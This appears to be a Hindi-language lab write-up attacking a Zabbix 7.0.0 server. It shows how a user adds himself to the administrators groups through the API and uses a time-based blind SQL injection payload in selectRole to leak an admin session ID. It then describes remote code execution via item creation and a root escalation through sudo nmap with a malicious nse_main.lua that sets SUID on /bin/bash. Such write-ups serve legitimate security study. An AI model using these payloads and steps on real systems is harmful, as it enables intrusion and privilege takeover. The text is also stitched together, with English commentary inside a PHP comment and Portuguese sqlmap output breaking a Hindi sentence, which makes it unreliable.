igorbf495/cve-2024-42327
राइटअप cve-2024-42327
लक्ष्य: 10.129.231.176
जानकारी: मुझे पता है कि मेरा लक्ष्य एक zabbix सर्वर है। मुझे zabbix में लॉगिन करने के लिए एक डिफ़ॉल्ट उपयोगकर्ता खाता मिला: user matthew passwd 96qzn0h2e1k3। यह खाता डिफ़ॉल्ट उपयोगकर्ता के साथ है, बिना किसी अतिरिक्त समूह या विशेषाधिकार के।
हमेशा की तरह, हम एन्यूमरेशन से शुरू करते हैं, nmap का उपयोग करके पोर्ट स्कैन करते हैं।
nmap का आउटपुट दिखाता है कि ssh और apache2 भी डिफ़ॉल्ट पोर्ट पर हैं। हमारे पास पोर्ट 10051 और 10050 भी हैं जिन पर कुछ zabbix सेवा चल रही है।
आइए ब्राउज़र के URL में IP डालकर और डिफ़ॉल्ट HTTP पोर्ट, पोर्ट 80 पर zabbix एक्सेस करें।
यह zabbix की लॉगिन स्क्रीन है, मैं प्राप्त उपयोगकर्ता से लॉगिन करूँगा
फुटर में, मुझे zabbix का संस्करण मिला:
गूगल (पाई डॉस बूरोस) का उपयोग करके, मैंने खोजा कि क्या zabbix के इस संस्करण के लिए कोई CVE पहले से मौजूद है।
काफी समय शोध करने के बाद, मैंने देखा कि यह संस्करण CVE-2024-42327 के प्रति संवेदनशील है, जो डेटाबेस से डेटा प्राप्त करने और विशेषाधिकार बढ़ाने के लिए SQL इंजेक्शन शोषण के बारे में है, और CVE-2024-36467 के प्रति भी, जो अनुपस्थित एक्सेस नियंत्रणों का दुरुपयोग करके उपयोगकर्ता भूमिका को सुपरयूज़र में बदलने की अनुमति देता है।
https://nvd.nist.gov/vuln/detail/CVE-2024-36467
https://nvd.nist.gov/vuln/detail/CVE-2024-42327
Zabbix दस्तावेज़ में API को कॉल करने के लिए HTTP अनुरोध करने का तरीका बताया गया है।
https://www.zabbix.com/documentation/current/en/manual/api
मैंने दस्तावेज़ में बताए अनुसार appiinfo.version को कॉल करते हुए अनुरोध भेजा
जिसने हमें निम्नलिखित लौटाया:
{"jsonrpc":"2.0","result":"7.0.0","id":1}
अगले परीक्षण के लिए, मैंने फिर से भेजने के लिए इस अनुरोध में कुछ पैरामीटर बदले।
method में, मैंने appinfo.version से user.login में बदला और username और password पैरामीटर जोड़े। यह मैंने zabbix दस्तावेज़ में भी देखा।
हमें एक टोकन लौटाया:
{"jsonrpc":"2.0","result":"9566174b00c9c3ca552abc1a52d670ba","id":1}
कुछ और समय शोध करने के बाद, मैंने GitHub पर zabbix रिपॉजिटरी में जाने का निर्णय लिया।
https://github.com/zabbix/zabbix
मैंने CUser के बारे में खोजा और CUser.php फ़ाइल मिली।
हमें user.update फ़ंक्शन मिला:
public function update(array $users) {
$this->validateUpdate($users, $db_users);
self::updateForce($users, $db_users);
return ['userids' => array_column($users, 'userid')];
}
मुझे कोई प्राधिकरण जाँच नहीं मिली, इसलिए मैंने अपनी भूमिका को सुपरयूज़र भूमिका में बदलने का निर्णय लिया, वापस अनुरोध पर गया और payload में समायोजन किए।
इसने invalid params संदेश के साथ एक त्रुटि लौटाई।
कोड का एक और लंबा विश्लेषण करने पर हमें यह फ़ंक्शन मिला:
/**
* Additional check to exclude an opportunity to deactivate himself.
*
* @param array $users
* @param array $users[]['usrgrps'] (optional)
*
From this snippet, we understand that we cannot change our roles because our role is checked
from extracting our data from the API token, and verifying against the database if we are that user.
But following the code we see that usrgrps has no validation at all, and therefore can be abused
to add ourselves into multiple groups at once. As long as the group is not disabled and the group
allows GUI access we can abuse this to change our current role with the following command:
User ID 3 is matthew , User group 7 is the Zabbix administrators group and user group 13 is the
Internal group which both hold unrestrictive privileges. The response indicates that the change
was successful:
* @throws APIException
*/
private function checkHimself(array $users) {
foreach ($users as $user) {
if (bccomp($user['userid'], self::$userData['userid']) == 0) {
if (array_key_exists('roleid', $user) && $user['roleid'] !=
self::$userData['roleid']) {
self::exception(ZBX_API_ERROR_PARAMETERS, _('User cannot change
own role.'));
}
if (array_key_exists('usrgrps', $user)) {
$db_usrgrps = DB::select('usrgrp', [
'output' => ['gui_access', 'users_status'],
'usrgrpids' => zbx_objectValues($user['usrgrps'], 'usrgrpid')
]);
foreach ($db_usrgrps as $db_usrgrp) {
if ($db_usrgrp['gui_access'] == GROUP_GUI_ACCESS_DISABLED
|| $db_usrgrp['users_status'] ==
GROUP_STATUS_DISABLED) {
self::exception(ZBX_API_ERROR_PARAMETERS,
_('User cannot add himself to a disabled group or a
group with disabled GUI access.')
);
}
}
}
break;
}
}
}
इस स्निपेट के अनुसार, हम अपनी भूमिकाएँ नहीं बदल सकते क्योंकि हमारी भूमिका API टोकन से हमारा डेटा निकालकर और डेटाबेस में जाँच करके कि हम वही उपयोगकर्ता हैं, सत्यापित की जाती है। लेकिन कोड का विश्लेषण करने पर, हम देखते हैं कि usrgrps की कोई मान्यता नहीं है और इस मान्यता की कमी के कारण, एक साथ कई समूहों में खुद को जोड़ने के लिए इसका दुरुपयोग किया जा सकता है। किसी उपयोगकर्ता को उन समूहों में खुद को जोड़ने से रोकने के लिए कोई जाँच नहीं है जिन तक उसे पहुंच नहीं होनी चाहिए।
आइए इस मान्यता की कमी के माध्यम से विशेषाधिकार बढ़ाने का प्रयास करें, मैंने payload संपादित किया और अनुरोध फिर से भेजा।
userid 3 उपयोगकर्ता matthew के id को संदर्भित करता है usrgrps में समूह ID की एक सूची है: 13 जो एक इंटरनल समूह है और 7 जो zabbix एडमिनिस्ट्रेटर समूह है। सर्वर की हमारी प्रतिक्रिया ऑपरेशन की सफलता की पुष्टि करती है:
{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1}
अब हम अपने वर्तमान उपयोगकर्ता के उपयोगकर्ता समूह निकाल सकते हैं। आइए अनुरोध संशोधित करें और फिर से भेजें।
प्रतिक्रिया की जाँच करने पर, हम देखते हैं कि ID 3 वाला उपयोगकर्ता Internal और Zabbix एडमिनिस्ट्रेटर समूहों में है।
{"jsonrpc":"2.0","result":[{"userid":"1","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]},{"userid":"2","usrgrps":
[{"usrgrpid":"8","name":"Guests"}]},{"userid":"3","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]}],"id":1}
ऐसे परिदृश्य में जहां zabbix एडमिनिस्ट्रेटर समूह को एक मान्य होस्ट समूह सौंपा गया है, वे दूरस्थ कोड निष्पादन को ट्रिगर करने के लिए आइटम निर्माण का लाभ उठा सकते हैं, जिसे अगले CVE में संबोधित किया जाएगा।
CUser क्लास में स्रोत कोड का फिर से विश्लेषण करते हुए, हम पंक्ति 68 पर user.get फ़ंक्शन की जाँच करते हैं। पंक्ति 108 में निम्नलिखित कोड के साथ एक जाँच है:
// permission check
if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) {
if (!$options['editable']) {
$sqlParts['from']['users_groups'] = 'users_groups ug';
$sqlParts['where']['uug'] = 'u.userid=ug.userid';
$sqlParts['where'][] = 'ug.usrgrpid IN ('.
' SELECT uug.usrgrpid'.
' FROM users_groups uug'.
' WHERE uug.userid='.self::$userData['userid'].
')';
}
else {
$sqlParts['where'][] = 'u.userid='.self::$userData['userid'];
}
}
इस कोड से, यदि API अनुरोध में editable विकल्प प्रदान किया जाता है, तो उपयोगकर्ता समूह को मान्य करने के बजाय, जाँच केवल यह मान्य करेगी कि वर्तमान उपयोगकर्ता ID वर्तमान उपयोगकर्ता से मेल खाती है, जो user.get फ़ंक्शन का उपयोग करते समय अनुमतियों को अनदेखा करता है। पंक्ति 234 पर, addRelatedObjects के लिए एक कॉल की जाती है, जो कमजोर फ़ंक्शन है जो SQL इंजेक्शन के लिए संवेदनशील है। पंक्ति 2969 पर addRelatedObject फ़ंक्शन का विश्लेषण करते हुए, हम देख सकते हैं कि अधिकांश SQL स्टेटमेंट सुरक्षित लगते हैं, जब तक हम पंक्ति 3041 तक नहीं पहुँचते।
// adding user role
if ($options['selectRole'] !== null && $options['selectRole'] !==
API_OUTPUT_COUNT) {
if ($options['selectRole'] === API_OUTPUT_EXTEND) {
$options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
}
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.',
$options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
foreach ($result as $userid => $user) {
$result[$userid]['role'] = [];
}
while ($db_role = DBfetch($db_roles)) {
$userid = $db_role['userid'];
unset($db_role['userid']);
$result[$userid]['role'] = $db_role;
}
}
return $result;
इस ब्लॉक में, यदि selectRole विकल्प निर्दिष्ट किया गया है, तो उपयोगकर्ता इनपुट को सैनिटाइज़ किए बिना DBSelect फ़ंक्शन के लिए एक असुरक्षित कॉल की जाएगी। इसके परिणामस्वरूप टाइम-बेस्ड और बूलियन ब्लाइंड SQL इंजेक्शन होते हैं।
इसका परीक्षण करने के लिए, हम इस लिंक से एक payload लेते हैं और सत्यापित करते हैं कि हमारे पास selectRole पैरामीटर में एक सफल इंजेक्शन बिंदु है।
हमें एक हिट मिला और लक्ष्य 5 सेकंड के लिए सो गया।
{"jsonrpc":"2.0","result":[{"userid":"3","username":"matthew","role":
{"roleid":"1",""r.name and (SELECT 1 FROM (SELECT SLEEP(5))A)":"0"}}],"id":1}
real 5.12s
user 0.00s
sys 0.01s
cpu 0%
चार्ल्स प्रॉक्सी का उपयोग करके हमने अनुरोध को इंटरसेप्ट किया और निम्नलिखित अनुरोध के साथ एक फ़ाइल में सहेजा:
अब, SQLMap का उपयोग करके, हम संभावित कमजोरियों की पहचान करने और डेटाबेस से डेटा निकालने का प्रयास करते हैं:
कुछ समय बाद, हमें निम्नलिखित परिणाम मिला:
available databases [2]:
[*] information_schema
[*] zabbix
आउटपुट के अनुसार, हमने टाइम-बेस्ड SQL इंजेक्शन का शोषण करके डेटाबेस के नाम सफलतापूर्वक प्राप्त कर लिए।
अब हम RCE (रिमोट कोड निष्पादन) आज़माएँगे।
हम दूरस्थ कोड निष्पादन प्राप्त करने के लिए गलत तरीके से कॉन्फ़िगर किए गए एजेंटों का उपयोग कर सकते हैं। टाइम-बेस्ड SQL इंजेक्शन से ऐसा करने के लिए, हमें यह देखने के लिए डेटाबेस में सत्र तालिका को लीक करना होगा कि क्या Admin उपयोगकर्ता प्रमाणित हुआ है। दुर्भाग्य से, टाइम-बेस्ड हमला होने के कारण, इसमें थोड़ा समय लग सकता है, इसलिए मैंने एक मल्टीथ्रेड स्क्रिप्ट शामिल की है जो बाद में उपयोग के लिए व्यवस्थापक सत्र को तेज़ी से निकालेगी।
payload इस प्रकार बना:
यह एक नेस्टेड टाइम-बेस्ड SQL इंजेक्शन है, जहां हम अपने payload को name पैरामीटर में इंजेक्ट करते हैं, स्थिति को जोड़ने के लिए AND जोड़ते हैं।
SELECT * FROM (SELECT(SLEEP(...)))BEEF
हम एक बाहरी SELECT स्थिति का उपयोग करते हैं जो SLEEP स्थिति को BEEF नामक सबक्वेरी में लपेटती है।
SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE
userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0,
{TRUE_TIME})))
SLEEP स्थिति इस स्क्रिप्ट में 1 सेकंड का TRUE_TIME मान लेती है और साइट या API पर प्रमाणित एक सक्रिय व्यवस्थापक खाते से sessionid पुनर्प्राप्त करती है। उपरोक्त SELECT स्थिति इंडेक्स (ROW) 0 पर पहला परिणाम प्राप्त करती है जो MID स्थिति में संलग्न होता है। हम MID स्थिति का उपयोग sessionid के भीतर एक विशिष्ट स्थिति में वर्ण निकालने के लिए करते हैं जो बढ़ाया जाता है और ORD स्थिति में संलग्न होता है। ORD स्थिति निकाले गए वर्ण को तुलना के लिए ASCII मानों में परिवर्तित करती है और IF स्थिति में संलग्न होती है। IF स्थिति [17:26:03] [INFO] estendendo automaticamente intervalos para injeção de consulta UNION teste de técnica, pois há pelo menos uma outra técnica (potencial) encontrada [17:26:04] [INFO] verificando se o ponto de injeção no parâmetro POST (personalizado) '#1*' é um falso positivo O parâmetro POST (personalizado) '#1*' é vulnerável. Você quer continuar testando os outros (se houver)? [s/N] n sqlmap identificou os seguintes pontos de injeção com um total de 77 solicitações HTTP(s): bancos de dados disponíveis [2]: [] information_schema [] zabbix name AND (SELECT * FROM (SELECT(SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME})))))BEEF) SELECT * FROM (SELECT(SLEEP(...)))BEEF SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME}))) जाँचती है कि निकाला गया वर्ण अपेक्षित ASCII वर्ण ( ord(char) ) से मेल खाता है या नहीं। यदि स्थिति पूरी होती है और SLEEP स्थिति ट्रिगर होती है, तो हम सही वर्ण की पहचान कर लेते हैं और 32-वर्ण का sessionid लीक कर सकते हैं।
मैंने Python में एक स्क्रिप्ट बनाई और उसे चलाया।
स्क्रिप्ट चलाने के बाद, हम देखते हैं कि हमने केवल 30 सेकंड में व्यवस्थापक सत्र सफलतापूर्वक प्राप्त कर लिया।
Admin उपयोगकर्ता के API टोकन का उपयोग करके, हम एक आइटम बनाने के लिए आगे बढ़ सकते हैं और फिर किसी कार्य के माध्यम से आइटम को ट्रिगर कर सकते हैं। पहले, हमें आइटम बनाना होगा, लेकिन हमें उनके इंटरफ़ेस ID के साथ वर्तमान होस्ट ID प्राप्त करने होंगे।
हमें प्रतिक्रिया मिली:
{"jsonrpc":"2.0","result":[{"hostid":"10084","host":"Zabbix server","interfaces":[{"interfaceid":"1"}]}],"id":1}
अब हम निम्नलिखित payload के साथ एक आइटम बना सकते हैं:
payload पर enter दबाने से पहले, हमने पोर्ट 4448 पर एक nc लिसनर कॉन्फ़िगर किया और कुछ सेकंड प्रतीक्षा की।
अब payload पर enter दबाने का समय है
यह काम कर गया, हमारे दुर्भावनापूर्ण payload के साथ कार्य बनाया गया और हमें RCE (रिमोट कोड निष्पादन) मिला, अब हमारे पास सर्वर तक पहुंच है।
अब जब हमारे पास सर्वर तक पहुंच है, चलिए विशेषाधिकार वृद्धि की ओर बढ़ते हैं, हम सर्वर पर root पहुंच प्राप्त करने का प्रयास करेंगे।
चूंकि हम zabbix उपयोगकर्ता में हैं, आइए जाँचें कि क्या हम sudo अनुमतियों के साथ कोई डिमन (प्रोग्राम) चला सकते हैं:
हम देखते हैं कि हम /usr/bin/nmap को बिना किसी प्रतिबंध के चला सकते हैं। कुछ समय इंटरनेट पर शोध करने के बाद, मुझे GTFOBins प्रोजेक्ट मिला। GTFObins एक रिपॉजिटरी है जो Unix/Linux सिस्टम में पाए जाने वाले बाइनरी की सूची बनाती है जिनका उपयोग रचनात्मक रूप से विशेषाधिकार वृद्धि, प्रतिबंधित वातावरण (जैसे chroot या कंटेनर) से बचने और दुर्भावनापूर्ण कमांड निष्पादित करने के लिए किया जा सकता है।
https://gtfobins.github.io/gtfobins/nmap/#sudo
आइए gtfobins के sudo एस्केप का उपयोग करने का प्रयास करें।
ऐसा लगता है कि Nmap एक रैपर स्क्रिप्ट द्वारा सुरक्षित है, जो Nmap में संभावित रूप से शोषण योग्य विकल्पों के उपयोग को सीमित करने के लिए लागू की गई एक अतिरिक्त सुरक्षा परत है। आइए /usr/bin/nmap फ़ाइल को पढ़ने का प्रयास करें। आइए nano टेक्स्ट एडिटर का उपयोग करके खोलें और इस फ़ाइल का विश्लेषण करें।
बहुत शोध के बाद, मैंने देखा कि सभी GTFOBins एस्केप इस परिदृश्य में बेकार हैं। उन्होंने Nmap को सामान्य विशेषाधिकार वृद्धि विधियों से बचाने के लिए एक रैपर लागू किया है। मेरे पास कोई विकल्प नहीं बचा और मैंने nmap की लाइब्रेरी पढ़ने का फैसला किया।
काफी समय पढ़ने के बाद मुझे कुछ दिलचस्प मिला, --datadir विकल्प।
https://nmap.org/book/data-files-replacing-data-files.html
--datadir <dirname>: Specify custom Nmap data file location
यह विकल्प आपको एक डेटा निर्देशिका निर्दिष्ट करने की अनुमति देता है जहां डिफ़ॉल्ट स्क्रिप्ट और nmap की अन्य आवश्यक वस्तुएं संग्रहीत होती हैं, इस मामले में डिफ़ॉल्ट /usr/share/nmap है। आइए इस फ़ाइल की अनुमतियाँ देखें:
इन फ़ाइलों के बारे में शोध करते हुए, मैंने देखा कि nse_main.lua फ़ाइल एक डिफ़ॉल्ट स्क्रिप्ट फ़ाइल है जिसे -sC पैरामीटर के साथ ट्रिगर किया जा सकता है, यह Nmap Scripting Engine (NSE) की मुख्य स्क्रिप्ट फ़ाइल है। इसमें ऐसे फ़ंक्शन होते हैं जो Nmap को -sC विकल्प (डिफ़ॉल्ट स्क्रिप्ट के साथ स्कैन) के साथ उपयोग करने पर निष्पादित होते हैं। इस नाम के साथ एक दुर्भावनापूर्ण स्क्रिप्ट बनाकर, Nmap को इसे स्वचालित रूप से निष्पादित करने के लिए प्रेरित करना संभव है। इसका शोषण करने के लिए, हम os.execute("chmod 4755 /bin/bash") के साथ /tmp/nse_main.lua में एक नई फ़ाइल बनाएंगे।
मैंने nse_main.lua फ़ाइल बनाई जिसके अंदर os.execute("chmod 4755 /bin/bash") कमांड है।
4755: /bin/bash बाइनरी पर SUID (Set User ID) सेट करता है। यह किसी भी उपयोगकर्ता को /bin/bash निष्पादित करने पर फ़ाइल स्वामी (जो root है) के समान विशेषाधिकार प्राप्त करने की अनुमति देता है।
जब हम -sC सक्षम के साथ localhost स्कैन करते हैं, हम /bin/bash को SUID के लिए सेट करते हैं और root उपयोगकर्ता के प्रभावी UID के साथ एक शेल उत्पन्न करते हैं।
--datadir=/tmp: Nmap को /tmp निर्देशिका में अपनी कॉन्फ़िगरेशन फ़ाइलें और स्क्रिप्ट खोजने के लिए बनाता है। इसमें दुर्भावनापूर्ण स्क्रिप्ट nse_main.lua शामिल है।
-sC: डिफ़ॉल्ट स्क्रिप्ट का निष्पादन सक्रिय करता है, जिसमें वह दुर्भावनापूर्ण स्क्रिप्ट भी शामिल है जिसे हमने अभी बनाया है।
localhost: Nmap को सिस्टम पर ही स्कैन निष्पादित करने के लिए बनाता है।
nse_main.lua स्क्रिप्ट Nmap द्वारा root अनुमतियों के साथ निष्पादित की जाती है (क्योंकि कमांड sudo के साथ निष्पादित की गई थी)
SUID सक्रिय होने पर, हम निष्पादित कर सकते हैं: /bin/bash -p
-p: SUID बिट को सुरक्षित रखता है और bash को स्वामी (root) के विशेषाधिकारों के साथ निष्पादित करता है।
uid=114: zabbix उपयोगकर्ता की पहचान। euid=0: प्रभावी रूप से root के रूप में कार्य कर रहा है।
अब हमें root विशेषाधिकार प्राप्त हो गए हैं।